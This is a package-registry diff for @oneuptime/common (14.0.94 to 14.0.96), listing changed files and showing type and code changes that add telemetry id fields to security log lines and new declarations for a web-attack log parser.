@oneuptime/common 14.0.94 → 14.0.96
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/Models/AnalyticsModels/ExceptionInstance.d.mts +2 -0
- package/Models/AnalyticsModels/ExceptionInstance.d.ts +2 -0
- package/Models/AnalyticsModels/ExceptionInstance.js +7 -0
- package/Models/AnalyticsModels/Log.d.mts +2 -0
- package/Models/AnalyticsModels/Log.d.ts +2 -0
- package/Models/AnalyticsModels/Log.js +7 -0
- package/Models/AnalyticsModels/SecurityEvent.d.mts +8 -0
- package/Models/AnalyticsModels/SecurityEvent.d.ts +8 -0
- package/Models/AnalyticsModels/SecurityEvent.js +55 -0
- package/Models/AnalyticsModels/Span.d.mts +4 -0
- package/Models/AnalyticsModels/Span.d.ts +4 -0
- package/Models/AnalyticsModels/Span.js +63 -0
- package/Models/DatabaseModels/CustomNotificationChannel.d.mts +16 -0
- package/Models/DatabaseModels/CustomNotificationChannel.d.ts +16 -0
- package/Models/DatabaseModels/CustomNotificationChannel.js +337 -0
- package/Models/DatabaseModels/CustomNotificationChannel.mjs +2 -0
- package/Models/DatabaseModels/DashboardPlaylist.d.mts +16 -0
- package/Models/DatabaseModels/DashboardPlaylist.d.ts +16 -0
- package/Models/DatabaseModels/DashboardPlaylist.js +314 -0
- package/Models/DatabaseModels/DashboardPlaylist.mjs +2 -0
- package/Models/DatabaseModels/DatabaseBaseModel/DatabaseBaseModel.js +14 -37
- package/Models/DatabaseModels/DatabaseBaseModel/OnCallRuleBaseModel.d.mts +1 -0
- package/Models/DatabaseModels/DatabaseBaseModel/OnCallRuleBaseModel.d.ts +1 -0
- package/Models/DatabaseModels/DatabaseBaseModel/OnCallRuleBaseModel.js +27 -3
- package/Models/DatabaseModels/DetectionRuleException.d.mts +25 -0
- package/Models/DatabaseModels/DetectionRuleException.d.ts +25 -0
- package/Models/DatabaseModels/DetectionRuleException.js +412 -0
- package/Models/DatabaseModels/DetectionRuleException.mjs +2 -0
- package/Models/DatabaseModels/GlobalConfig.d.mts +5 -0
- package/Models/DatabaseModels/GlobalConfig.d.ts +5 -0
- package/Models/DatabaseModels/GlobalConfig.js +107 -0
- package/Models/DatabaseModels/Index.js +8 -0
- package/Models/DatabaseModels/OnCallDutyPolicyExecutionLog.d.mts +2 -0
- package/Models/DatabaseModels/OnCallDutyPolicyExecutionLog.d.ts +2 -0
- package/Models/DatabaseModels/OnCallDutyPolicyExecutionLog.js +40 -0
- package/Models/DatabaseModels/SecurityTelemetrySource.d.mts +21 -0
- package/Models/DatabaseModels/SecurityTelemetrySource.d.ts +21 -0
- package/Models/DatabaseModels/SecurityTelemetrySource.js +357 -0
- package/Models/DatabaseModels/SecurityTelemetrySource.mjs +2 -0
- package/Models/DatabaseModels/TeamComplianceSetting.js +2 -2
- package/Models/DatabaseModels/TeamPermission.js +5 -7
- package/Models/DatabaseModels/UserNotificationRule.d.mts +3 -0
- package/Models/DatabaseModels/UserNotificationRule.d.ts +3 -0
- package/Models/DatabaseModels/UserNotificationRule.js +67 -0
- package/Models/DatabaseModels/UserNotificationSetting.d.mts +1 -0
- package/Models/DatabaseModels/UserNotificationSetting.d.ts +1 -0
- package/Models/DatabaseModels/UserNotificationSetting.js +26 -0
- package/Models/DatabaseModels/UserOnCallLogTimeline.d.mts +3 -0
- package/Models/DatabaseModels/UserOnCallLogTimeline.d.ts +3 -0
- package/Models/DatabaseModels/UserOnCallLogTimeline.js +53 -0
- package/Types/AI/AIChatPermissionMode.js +11 -5
- package/Types/AI/ResourceCardFacts.d.mts +11 -0
- package/Types/AI/ResourceCardFacts.d.ts +11 -0
- package/Types/AI/ResourceCardFacts.js +80 -0
- package/Types/AI/ResourceCardFacts.mjs +4 -0
- package/Types/AnalyticsDatabase/TableColumn.d.mts +4 -0
- package/Types/AnalyticsDatabase/TableColumn.d.ts +4 -0
- package/Types/AnalyticsDatabase/TableColumn.js +7 -0
- package/Types/AuditLog/Export/AuditLogExportDestinationCatalog.d.mts +2 -0
- package/Types/AuditLog/Export/AuditLogExportDestinationCatalog.d.ts +2 -0
- package/Types/AuditLog/Export/AuditLogExportDestinationCatalog.js +4 -0
- package/Types/Backup/BackupDestinationCatalog.d.mts +2 -0
- package/Types/Backup/BackupDestinationCatalog.d.ts +2 -0
- package/Types/Backup/BackupDestinationCatalog.js +8 -0
- package/Types/CallAndSMS/CallAndSmsGatewayPayload.d.mts +25 -0
- package/Types/CallAndSMS/CallAndSmsGatewayPayload.d.ts +25 -0
- package/Types/CallAndSMS/CallAndSmsGatewayPayload.js +86 -0
- package/Types/CallAndSMS/CallAndSmsGatewayPayload.mjs +6 -0
- package/Types/CallAndSMS/CallAndSmsProvider.d.mts +23 -0
- package/Types/CallAndSMS/CallAndSmsProvider.d.ts +23 -0
- package/Types/CallAndSMS/CallAndSmsProvider.js +107 -0
- package/Types/CallAndSMS/CallAndSmsProvider.mjs +7 -0
- package/Types/CloudConnection/CloudConnectionCatalog.d.mts +2 -0
- package/Types/CloudConnection/CloudConnectionCatalog.d.ts +2 -0
- package/Types/CloudConnection/CloudConnectionCatalog.js +4 -0
- package/Types/CustomNotificationChannel/CustomNotificationChannelPayload.d.mts +95 -0
- package/Types/CustomNotificationChannel/CustomNotificationChannelPayload.d.ts +95 -0
- package/Types/CustomNotificationChannel/CustomNotificationChannelPayload.js +236 -0
- package/Types/CustomNotificationChannel/CustomNotificationChannelPayload.mjs +16 -0
- package/Types/Dashboard/DashboardPlaylist.d.mts +21 -0
- package/Types/Dashboard/DashboardPlaylist.d.ts +21 -0
- package/Types/Dashboard/DashboardPlaylist.js +197 -0
- package/Types/Dashboard/DashboardPlaylist.mjs +19 -0
- package/Types/Database/TableColumn.d.mts +8 -0
- package/Types/Database/TableColumn.d.ts +8 -0
- package/Types/Database/TableColumn.js +69 -23
- package/Types/Database/TableColumn.mjs +1 -0
- package/Types/HeldPermissions.d.mts +2 -0
- package/Types/HeldPermissions.d.ts +2 -0
- package/Types/HeldPermissions.js +32 -8
- package/Types/Icon/IconProp.d.mts +3 -0
- package/Types/Icon/IconProp.d.ts +3 -0
- package/Types/Icon/IconProp.js +4 -0
- package/Types/JSONFunctions.js +16 -1
- package/Types/LlmObservability/LlmConnectionCatalog.d.mts +2 -0
- package/Types/LlmObservability/LlmConnectionCatalog.d.ts +2 -0
- package/Types/LlmObservability/LlmConnectionCatalog.js +8 -0
- package/Types/Monitor/MonitorType.js +5 -4
- package/Types/Monitor/TelemetryAlertRule.d.mts +111 -0
- package/Types/Monitor/TelemetryAlertRule.d.ts +111 -0
- package/Types/Monitor/TelemetryAlertRule.js +886 -0
- package/Types/Monitor/TelemetryAlertRule.mjs +5 -0
- package/Types/Monitor/TelemetryRulePreview.d.mts +57 -0
- package/Types/Monitor/TelemetryRulePreview.d.ts +57 -0
- package/Types/Monitor/TelemetryRulePreview.js +190 -0
- package/Types/Monitor/TelemetryRulePreview.mjs +6 -0
- package/Types/OnCallDutyPolicy/EveryNewEventRules.d.mts +23 -0
- package/Types/OnCallDutyPolicy/EveryNewEventRules.d.ts +23 -0
- package/Types/OnCallDutyPolicy/EveryNewEventRules.js +105 -0
- package/Types/OnCallDutyPolicy/EveryNewEventRules.mjs +9 -0
- package/Types/OnCallDutyPolicy/OnCallDutyPolicyRunWait.d.mts +3 -0
- package/Types/OnCallDutyPolicy/OnCallDutyPolicyRunWait.d.ts +3 -0
- package/Types/OnCallDutyPolicy/OnCallDutyPolicyRunWait.js +23 -8
- package/Types/OnCallDutyPolicy/OnCallDutyPolicyRunWait.mjs +2 -0
- package/Types/OnCallDutyPolicy/OnCallPolicyAiHold.d.mts +47 -0
- package/Types/OnCallDutyPolicy/OnCallPolicyAiHold.d.ts +47 -0
- package/Types/OnCallDutyPolicy/OnCallPolicyAiHold.js +122 -0
- package/Types/OnCallDutyPolicy/OnCallPolicyAiHold.mjs +12 -0
- package/Types/OnCallDutyPolicy/OnCallRuleWhenToPage.d.mts +2 -1
- package/Types/OnCallDutyPolicy/OnCallRuleWhenToPage.d.ts +2 -1
- package/Types/OnCallDutyPolicy/OnCallRuleWhenToPage.js +10 -1
- package/Types/Permission.d.mts +10 -0
- package/Types/Permission.d.ts +10 -0
- package/Types/Permission.js +83 -19
- package/Types/ProviderLogo/ProviderLogo.d.mts +87 -0
- package/Types/ProviderLogo/ProviderLogo.d.ts +87 -0
- package/Types/ProviderLogo/ProviderLogo.js +215 -0
- package/Types/ProviderLogo/ProviderLogo.mjs +6 -0
- package/Types/PushNotification/PushNotificationsTurnedOff.d.mts +3 -0
- package/Types/PushNotification/PushNotificationsTurnedOff.d.ts +3 -0
- package/Types/PushNotification/PushNotificationsTurnedOff.js +32 -0
- package/Types/PushNotification/PushNotificationsTurnedOff.mjs +4 -0
- package/Types/RollingTime/RollingTimeUtil.js +20 -10
- package/Types/Runbook/RunbookTriggerType.d.mts +2 -1
- package/Types/Runbook/RunbookTriggerType.d.ts +2 -1
- package/Types/Runbook/RunbookTriggerType.js +5 -1
- package/Types/SecurityCase/SecurityCaseContext.d.mts +188 -0
- package/Types/SecurityCase/SecurityCaseContext.d.ts +188 -0
- package/Types/SecurityCase/SecurityCaseContext.js +165 -0
- package/Types/SecurityCase/SecurityCaseContext.mjs +30 -0
- package/Types/SecurityCase/SecurityEntityRisk.d.mts +11 -0
- package/Types/SecurityCase/SecurityEntityRisk.d.ts +11 -0
- package/Types/SecurityCase/SecurityEntityRisk.js +9 -1
- package/Types/SecurityCase/SecurityEntityRisk.mjs +1 -0
- package/Types/SecurityEvent/Connectors/SecurityEventConnectorCatalog.d.mts +2 -0
- package/Types/SecurityEvent/Connectors/SecurityEventConnectorCatalog.d.ts +2 -0
- package/Types/SecurityEvent/Connectors/SecurityEventConnectorCatalog.js +9 -0
- package/Types/SecurityEvent/Destinations/SecurityEventDestinationCatalog.d.mts +2 -0
- package/Types/SecurityEvent/Destinations/SecurityEventDestinationCatalog.d.ts +2 -0
- package/Types/SecurityEvent/Destinations/SecurityEventDestinationCatalog.js +5 -0
- package/Types/SecurityEvent/DetectionRetrohunt.d.mts +38 -0
- package/Types/SecurityEvent/DetectionRetrohunt.d.ts +38 -0
- package/Types/SecurityEvent/DetectionRetrohunt.js +147 -0
- package/Types/SecurityEvent/DetectionRetrohunt.mjs +10 -0
- package/Types/SecurityEvent/DetectionRuleDataKind.d.mts +5 -1
- package/Types/SecurityEvent/DetectionRuleDataKind.d.ts +5 -1
- package/Types/SecurityEvent/DetectionRuleDataKind.js +42 -0
- package/Types/SecurityEvent/DetectionRuleException.d.mts +65 -0
- package/Types/SecurityEvent/DetectionRuleException.d.ts +65 -0
- package/Types/SecurityEvent/DetectionRuleException.js +441 -0
- package/Types/SecurityEvent/DetectionRuleException.mjs +24 -0
- package/Types/SecurityEvent/DetectionRuleLibrary.js +330 -0
- package/Types/SecurityEvent/NormalizedSecurityEvent.d.mts +5 -0
- package/Types/SecurityEvent/NormalizedSecurityEvent.d.ts +5 -0
- package/Types/SecurityEvent/SecurityAttackCampaign.d.mts +31 -0
- package/Types/SecurityEvent/SecurityAttackCampaign.d.ts +31 -0
- package/Types/SecurityEvent/SecurityAttackCampaign.js +81 -0
- package/Types/SecurityEvent/SecurityAttackCampaign.mjs +8 -0
- package/Types/SecurityEvent/SecurityEventRequestOutcome.d.mts +28 -0
- package/Types/SecurityEvent/SecurityEventRequestOutcome.d.ts +28 -0
- package/Types/SecurityEvent/SecurityEventRequestOutcome.js +78 -0
- package/Types/SecurityEvent/SecurityEventRequestOutcome.mjs +6 -0
- package/Types/SecurityEvent/SecurityTelemetrySource.d.mts +39 -0
- package/Types/SecurityEvent/SecurityTelemetrySource.d.ts +39 -0
- package/Types/SecurityEvent/SecurityTelemetrySource.js +127 -0
- package/Types/SecurityEvent/SecurityTelemetrySource.mjs +12 -0
- package/Types/SecurityEvent/TurnOnRecommended.d.mts +2 -0
- package/Types/SecurityEvent/TurnOnRecommended.d.ts +2 -0
- package/Types/SecurityEvent/TurnOnRecommended.js +7 -0
- package/Types/SecurityPlaybook/SecurityPlaybookAction.d.mts +7 -1
- package/Types/SecurityPlaybook/SecurityPlaybookAction.d.ts +7 -1
- package/Types/SecurityPlaybook/SecurityPlaybookAction.js +46 -0
- package/Types/SecurityPlaybook/SecurityPlaybookAction.mjs +1 -0
- package/Types/SecurityPlaybook/SecurityPlaybookStep.d.mts +10 -0
- package/Types/SecurityPlaybook/SecurityPlaybookStep.d.ts +10 -0
- package/Types/SecurityPlaybook/SecurityPlaybookStep.js +37 -1
- package/Types/SecurityPlaybook/SecurityPlaybookStep.mjs +1 -0
- package/Types/SecurityPlaybook/SecurityPlaybookTemplates.js +17 -0
- package/Types/Team/ComplianceNotificationChannel.d.mts +2 -1
- package/Types/Team/ComplianceNotificationChannel.d.ts +2 -1
- package/Types/Team/ComplianceNotificationChannel.js +10 -1
- package/Types/Team/ComplianceRule.d.mts +8 -3
- package/Types/Team/ComplianceRule.d.ts +8 -3
- package/Types/Team/ComplianceRule.js +34 -22
- package/Types/Team/TeamComplianceStatus.d.mts +1 -0
- package/Types/Team/TeamComplianceStatus.d.ts +1 -0
- package/Types/Telemetry/OpenTelemetryGuides.d.mts +52 -0
- package/Types/Telemetry/OpenTelemetryGuides.d.ts +52 -0
- package/Types/Telemetry/OpenTelemetryGuides.js +419 -0
- package/Types/Telemetry/OpenTelemetryGuides.mjs +17 -0
- package/Types/Telemetry/TelemetrySavedViewState.d.mts +1 -0
- package/Types/Telemetry/TelemetrySavedViewState.d.ts +1 -0
- package/Types/Telemetry/TraceHealth.d.mts +24 -0
- package/Types/Telemetry/TraceHealth.d.ts +24 -0
- package/Types/Telemetry/TraceHealth.js +97 -0
- package/Types/Telemetry/TraceHealth.mjs +4 -0
- package/Types/Telemetry/TraceSpanType.d.mts +90 -0
- package/Types/Telemetry/TraceSpanType.d.ts +90 -0
- package/Types/Telemetry/TraceSpanType.js +238 -0
- package/Types/Telemetry/TraceSpanType.mjs +19 -0
- package/Types/Theme/ThemePreference.d.mts +26 -0
- package/Types/Theme/ThemePreference.d.ts +26 -0
- package/Types/Theme/ThemePreference.js +104 -0
- package/Types/Theme/ThemePreference.mjs +12 -0
- package/Types/Workflow/Component.d.mts +3 -0
- package/Types/Workflow/Component.d.ts +3 -0
- package/Types/Workflow/Components/Discord.js +2 -0
- package/Types/Workflow/Components/Mattermost.js +2 -0
- package/Types/Workflow/Components/MicrosoftTeams.js +2 -0
- package/Types/Workflow/Components/Slack.js +2 -0
- package/Types/Workflow/Components/Telegram.js +2 -0
- package/Types/Workflow/Components.js +6 -0
- package/Types/Workflow/Templates.js +5 -3
- package/Utils/ColorContrast.d.mts +0 -3
- package/Utils/ColorContrast.d.ts +0 -3
- package/Utils/ColorContrast.js +3 -41
- package/Utils/ColorContrast.mjs +0 -2
- package/Utils/NameInitials.d.mts +5 -0
- package/Utils/NameInitials.d.ts +5 -0
- package/Utils/NameInitials.js +92 -0
- package/Utils/NameInitials.mjs +6 -0
- package/Utils/OldestKeyCursor.d.mts +7 -0
- package/Utils/OldestKeyCursor.d.ts +7 -0
- package/Utils/OldestKeyCursor.js +68 -0
- package/Utils/OldestKeyCursor.mjs +2 -0
- package/Utils/Schema/OpenApiMetadataRegistry.d.mts +4 -0
- package/Utils/Schema/OpenApiMetadataRegistry.d.ts +4 -0
- package/Utils/Schema/OpenApiMetadataRegistry.js +20 -0
- package/Utils/Schema/OpenApiMetadataRegistry.mjs +2 -0
- package/Utils/Schema/Zod.js +6 -0
- package/Utils/SecurityCase/SecurityCaseImpactFacts.d.mts +41 -0
- package/Utils/SecurityCase/SecurityCaseImpactFacts.d.ts +41 -0
- package/Utils/SecurityCase/SecurityCaseImpactFacts.js +215 -0
- package/Utils/SecurityCase/SecurityCaseImpactFacts.mjs +6 -0
- package/Utils/SecurityCase/SecurityCaseStoryItems.d.mts +46 -0
- package/Utils/SecurityCase/SecurityCaseStoryItems.d.ts +46 -0
- package/Utils/SecurityCase/SecurityCaseStoryItems.js +327 -0
- package/Utils/SecurityCase/SecurityCaseStoryItems.mjs +17 -0
- package/Utils/SecurityEvent/LogParsers/SecurityLogLine.d.mts +5 -0
- package/Utils/SecurityEvent/LogParsers/SecurityLogLine.d.ts +5 -0
- package/Utils/SecurityEvent/LogParsers/SecurityLogLine.js +22 -2
- package/Utils/SecurityEvent/LogParsers/SecurityLogLine.mjs +2 -0
- package/Utils/SecurityEvent/LogParsers/WebAttackLogParser.d.mts +20 -0
- package/Utils/SecurityEvent/LogParsers/WebAttackLogParser.d.ts +20 -0
- package/Utils/SecurityEvent/LogParsers/WebAttackLogParser.js +347 -31
- package/Utils/SecurityEvent/LogParsers/WebAttackLogParser.mjs +11 -0
- package/Utils/SecurityEvent/RequestFollowUp.d.mts +4 -0
- package/Utils/SecurityEvent/RequestFollowUp.d.ts +4 -0
- package/Utils/SecurityEvent/RequestFollowUp.js +127 -0
- package/Utils/SecurityEvent/RequestFollowUp.mjs +3 -0
- package/Utils/SecurityEvent/RequestOutcome.d.mts +80 -0
- package/Utils/SecurityEvent/RequestOutcome.d.ts +80 -0
- package/Utils/SecurityEvent/RequestOutcome.js +371 -0
- package/Utils/SecurityEvent/RequestOutcome.mjs +18 -0
- package/Utils/SecurityEvent/TelemetryScan/AuditLogSignals.d.mts +76 -0
- package/Utils/SecurityEvent/TelemetryScan/AuditLogSignals.d.ts +76 -0
- package/Utils/SecurityEvent/TelemetryScan/AuditLogSignals.js +348 -0
- package/Utils/SecurityEvent/TelemetryScan/AuditLogSignals.mjs +15 -0
- package/Utils/SecurityEvent/TelemetryScan/FlowSignals.d.mts +61 -0
- package/Utils/SecurityEvent/TelemetryScan/FlowSignals.d.ts +61 -0
- package/Utils/SecurityEvent/TelemetryScan/FlowSignals.js +260 -0
- package/Utils/SecurityEvent/TelemetryScan/FlowSignals.mjs +17 -0
- package/Utils/SecurityEvent/TelemetryScan/RumSignals.d.mts +30 -0
- package/Utils/SecurityEvent/TelemetryScan/RumSignals.d.ts +30 -0
- package/Utils/SecurityEvent/TelemetryScan/RumSignals.js +134 -0
- package/Utils/SecurityEvent/TelemetryScan/RumSignals.mjs +8 -0
- package/Utils/SecurityEvent/TelemetryScan/TelemetrySecurityEvent.d.mts +40 -0
- package/Utils/SecurityEvent/TelemetryScan/TelemetrySecurityEvent.d.ts +40 -0
- package/Utils/SecurityEvent/TelemetryScan/TelemetrySecurityEvent.js +190 -0
- package/Utils/SecurityEvent/TelemetryScan/TelemetrySecurityEvent.mjs +6 -0
- package/Utils/SecurityEvent/TelemetryScan/TraceSignals.d.mts +57 -0
- package/Utils/SecurityEvent/TelemetryScan/TraceSignals.d.ts +57 -0
- package/Utils/SecurityEvent/TelemetryScan/TraceSignals.js +491 -0
- package/Utils/SecurityEvent/TelemetryScan/TraceSignals.mjs +27 -0
- package/Utils/Telemetry/EntrySpan.d.mts +8 -0
- package/Utils/Telemetry/EntrySpan.d.ts +8 -0
- package/Utils/Telemetry/EntrySpan.js +53 -0
- package/Utils/Telemetry/EntrySpan.mjs +4 -0
- package/package.json +1 -1
|
@@ -11,10 +11,14 @@ export interface SecurityLogLine {
|
|
|
11
11
|
serviceName?: string | undefined;
|
|
12
12
|
resourceId?: string | undefined;
|
|
13
13
|
resourceType?: string | undefined;
|
|
14
|
+
traceId?: string | undefined;
|
|
15
|
+
spanId?: string | undefined;
|
|
16
|
+
sessionId?: string | undefined;
|
|
14
17
|
}
|
|
15
18
|
export declare const MAX_TEXT_LINE_LENGTH: number;
|
|
16
19
|
export declare const MAX_JSON_LINE_LENGTH: number;
|
|
17
20
|
export declare const MAX_EVENT_MESSAGE_LENGTH: number;
|
|
21
|
+
export declare const MAX_TELEMETRY_ID_LENGTH: number;
|
|
18
22
|
export declare function cutText(text: string, limit: number): string;
|
|
19
23
|
export declare function readWord(text: string, from: number): string;
|
|
20
24
|
export declare function readIpAddress(value: string): string;
|
|
@@ -48,3 +52,4 @@ export interface LogSecurityEventInput {
|
|
|
48
52
|
mitreTechniques?: Array<string> | undefined;
|
|
49
53
|
}
|
|
50
54
|
export declare function buildLogSecurityEvent(input: LogSecurityEventInput): NormalizedSecurityEvent;
|
|
55
|
+
export declare function readTelemetryId(value: string | undefined): string;
|
|
@@ -3,7 +3,7 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
|
3
3
|
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
4
|
};
|
|
5
5
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
-
exports.MAX_EVENT_MESSAGE_LENGTH = exports.MAX_JSON_LINE_LENGTH = exports.MAX_TEXT_LINE_LENGTH = void 0;
|
|
6
|
+
exports.MAX_TELEMETRY_ID_LENGTH = exports.MAX_EVENT_MESSAGE_LENGTH = exports.MAX_JSON_LINE_LENGTH = exports.MAX_TEXT_LINE_LENGTH = void 0;
|
|
7
7
|
exports.cutText = cutText;
|
|
8
8
|
exports.readWord = readWord;
|
|
9
9
|
exports.readIpAddress = readIpAddress;
|
|
@@ -11,6 +11,7 @@ exports.readPort = readPort;
|
|
|
11
11
|
exports.readAttribute = readAttribute;
|
|
12
12
|
exports.readLogHost = readLogHost;
|
|
13
13
|
exports.buildLogSecurityEvent = buildLogSecurityEvent;
|
|
14
|
+
exports.readTelemetryId = readTelemetryId;
|
|
14
15
|
const IP_1 = __importDefault(require("../../../Types/IP/IP"));
|
|
15
16
|
const ObjectID_1 = __importDefault(require("../../../Types/ObjectID"));
|
|
16
17
|
const SecurityConnection_1 = require("../../../Types/SecurityCase/SecurityConnection");
|
|
@@ -26,6 +27,8 @@ exports.MAX_JSON_LINE_LENGTH = 256 * 1024;
|
|
|
26
27
|
exports.MAX_EVENT_MESSAGE_LENGTH = 1000;
|
|
27
28
|
// An IP address, a port or a host name is never longer than this.
|
|
28
29
|
const MAX_TOKEN_LENGTH = 255;
|
|
30
|
+
// A trace, span or session id is never longer than this.
|
|
31
|
+
exports.MAX_TELEMETRY_ID_LENGTH = 128;
|
|
29
32
|
function cutText(text, limit) {
|
|
30
33
|
if (text.length <= limit) {
|
|
31
34
|
return text;
|
|
@@ -147,5 +150,22 @@ function buildLogSecurityEvent(input) {
|
|
|
147
150
|
targetHost,
|
|
148
151
|
principalIp,
|
|
149
152
|
targetIp,
|
|
150
|
-
]), attributes });
|
|
153
|
+
]), attributes, traceId: readTelemetryId(input.line.traceId), spanId: readTelemetryId(input.line.spanId), sessionId: readTelemetryId(input.line.sessionId) });
|
|
154
|
+
}
|
|
155
|
+
/*
|
|
156
|
+
* A trace, span or session id from a log record: trimmed, and '' for
|
|
157
|
+
* anything no id is - empty, all zeros (OpenTelemetry's "no trace"), or
|
|
158
|
+
* longer than any id.
|
|
159
|
+
*/
|
|
160
|
+
function readTelemetryId(value) {
|
|
161
|
+
const id = (value || "").trim();
|
|
162
|
+
if (!id || id.length > exports.MAX_TELEMETRY_ID_LENGTH) {
|
|
163
|
+
return "";
|
|
164
|
+
}
|
|
165
|
+
for (let index = 0; index < id.length; index++) {
|
|
166
|
+
if (id[index] !== "0" && id[index] !== "-") {
|
|
167
|
+
return id;
|
|
168
|
+
}
|
|
169
|
+
}
|
|
170
|
+
return "";
|
|
151
171
|
}
|
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
import commonJsModule from "./SecurityLogLine.js";
|
|
2
2
|
export const MAX_EVENT_MESSAGE_LENGTH = commonJsModule.MAX_EVENT_MESSAGE_LENGTH;
|
|
3
3
|
export const MAX_JSON_LINE_LENGTH = commonJsModule.MAX_JSON_LINE_LENGTH;
|
|
4
|
+
export const MAX_TELEMETRY_ID_LENGTH = commonJsModule.MAX_TELEMETRY_ID_LENGTH;
|
|
4
5
|
export const MAX_TEXT_LINE_LENGTH = commonJsModule.MAX_TEXT_LINE_LENGTH;
|
|
5
6
|
export const buildLogSecurityEvent = commonJsModule.buildLogSecurityEvent;
|
|
6
7
|
export const cutText = commonJsModule.cutText;
|
|
@@ -8,4 +9,5 @@ export const readAttribute = commonJsModule.readAttribute;
|
|
|
8
9
|
export const readIpAddress = commonJsModule.readIpAddress;
|
|
9
10
|
export const readLogHost = commonJsModule.readLogHost;
|
|
10
11
|
export const readPort = commonJsModule.readPort;
|
|
12
|
+
export const readTelemetryId = commonJsModule.readTelemetryId;
|
|
11
13
|
export const readWord = commonJsModule.readWord;
|
|
@@ -1,6 +1,11 @@
|
|
|
1
|
+
import { JSONObject } from "../../../Types/JSON.mjs";
|
|
1
2
|
import NormalizedSecurityEvent from "../../../Types/SecurityEvent/NormalizedSecurityEvent.mjs";
|
|
3
|
+
import OcsfSeverity from "../../../Types/SecurityEvent/OcsfSeverity.mjs";
|
|
4
|
+
import SecurityEventRequestOutcome from "../../../Types/SecurityEvent/SecurityEventRequestOutcome.mjs";
|
|
2
5
|
import { SecurityLogLine } from "./SecurityLogLine.mjs";
|
|
3
6
|
export declare const WEB_HTTP_ACTIVITY_CLASS_UID: number;
|
|
7
|
+
export declare const WEB_ATTACK_KIND_ATTRIBUTE: string;
|
|
8
|
+
export declare const WEB_ATTACK_PAYLOAD_ATTRIBUTE: string;
|
|
4
9
|
export declare enum WebAttackKind {
|
|
5
10
|
SqlInjection = "sql-injection",
|
|
6
11
|
PathTraversal = "path-traversal",
|
|
@@ -20,6 +25,21 @@ export interface AccessLogRequest {
|
|
|
20
25
|
}
|
|
21
26
|
export declare function readCommonLogFormat(text: string): AccessLogRequest | null;
|
|
22
27
|
export declare function readJsonAccessLog(text: string): AccessLogRequest | null;
|
|
28
|
+
export declare const WEB_ATTACK_LABELS: Record<WebAttackKind, string>;
|
|
29
|
+
export declare function isWebAttackKind(value: unknown): value is WebAttackKind;
|
|
30
|
+
export declare function getSqlInjectionMarkers(): Array<string>;
|
|
31
|
+
export declare function readRequestFromAttributes(attributes: JSONObject): AccessLogRequest;
|
|
32
|
+
export declare const MAX_PAYLOAD_REACH: number;
|
|
33
|
+
export declare function readAttackPayload(text: string, kind: WebAttackKind): string;
|
|
34
|
+
export declare const MAX_MESSAGE_TARGET_LENGTH: number;
|
|
35
|
+
export declare function buildWebAttackMessage(data: {
|
|
36
|
+
kind: WebAttackKind;
|
|
37
|
+
method?: string | undefined;
|
|
38
|
+
target?: string | undefined;
|
|
39
|
+
statusCode?: number | undefined;
|
|
40
|
+
payload?: string | undefined;
|
|
41
|
+
}): string;
|
|
42
|
+
export declare function severityForWebAttack(kind: WebAttackKind, outcome: SecurityEventRequestOutcome | undefined): OcsfSeverity;
|
|
23
43
|
export default class WebAttackLogParser {
|
|
24
44
|
static parse(line: SecurityLogLine): Array<NormalizedSecurityEvent>;
|
|
25
45
|
}
|
|
@@ -1,6 +1,11 @@
|
|
|
1
|
+
import { JSONObject } from "../../../Types/JSON";
|
|
1
2
|
import NormalizedSecurityEvent from "../../../Types/SecurityEvent/NormalizedSecurityEvent";
|
|
3
|
+
import OcsfSeverity from "../../../Types/SecurityEvent/OcsfSeverity";
|
|
4
|
+
import SecurityEventRequestOutcome from "../../../Types/SecurityEvent/SecurityEventRequestOutcome";
|
|
2
5
|
import { SecurityLogLine } from "./SecurityLogLine";
|
|
3
6
|
export declare const WEB_HTTP_ACTIVITY_CLASS_UID: number;
|
|
7
|
+
export declare const WEB_ATTACK_KIND_ATTRIBUTE: string;
|
|
8
|
+
export declare const WEB_ATTACK_PAYLOAD_ATTRIBUTE: string;
|
|
4
9
|
export declare enum WebAttackKind {
|
|
5
10
|
SqlInjection = "sql-injection",
|
|
6
11
|
PathTraversal = "path-traversal",
|
|
@@ -20,6 +25,21 @@ export interface AccessLogRequest {
|
|
|
20
25
|
}
|
|
21
26
|
export declare function readCommonLogFormat(text: string): AccessLogRequest | null;
|
|
22
27
|
export declare function readJsonAccessLog(text: string): AccessLogRequest | null;
|
|
28
|
+
export declare const WEB_ATTACK_LABELS: Record<WebAttackKind, string>;
|
|
29
|
+
export declare function isWebAttackKind(value: unknown): value is WebAttackKind;
|
|
30
|
+
export declare function getSqlInjectionMarkers(): Array<string>;
|
|
31
|
+
export declare function readRequestFromAttributes(attributes: JSONObject): AccessLogRequest;
|
|
32
|
+
export declare const MAX_PAYLOAD_REACH: number;
|
|
33
|
+
export declare function readAttackPayload(text: string, kind: WebAttackKind): string;
|
|
34
|
+
export declare const MAX_MESSAGE_TARGET_LENGTH: number;
|
|
35
|
+
export declare function buildWebAttackMessage(data: {
|
|
36
|
+
kind: WebAttackKind;
|
|
37
|
+
method?: string | undefined;
|
|
38
|
+
target?: string | undefined;
|
|
39
|
+
statusCode?: number | undefined;
|
|
40
|
+
payload?: string | undefined;
|
|
41
|
+
}): string;
|
|
42
|
+
export declare function severityForWebAttack(kind: WebAttackKind, outcome: SecurityEventRequestOutcome | undefined): OcsfSeverity;
|
|
23
43
|
export default class WebAttackLogParser {
|
|
24
44
|
static parse(line: SecurityLogLine): Array<NormalizedSecurityEvent>;
|
|
25
45
|
}
|
|
@@ -1,15 +1,56 @@
|
|
|
1
1
|
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
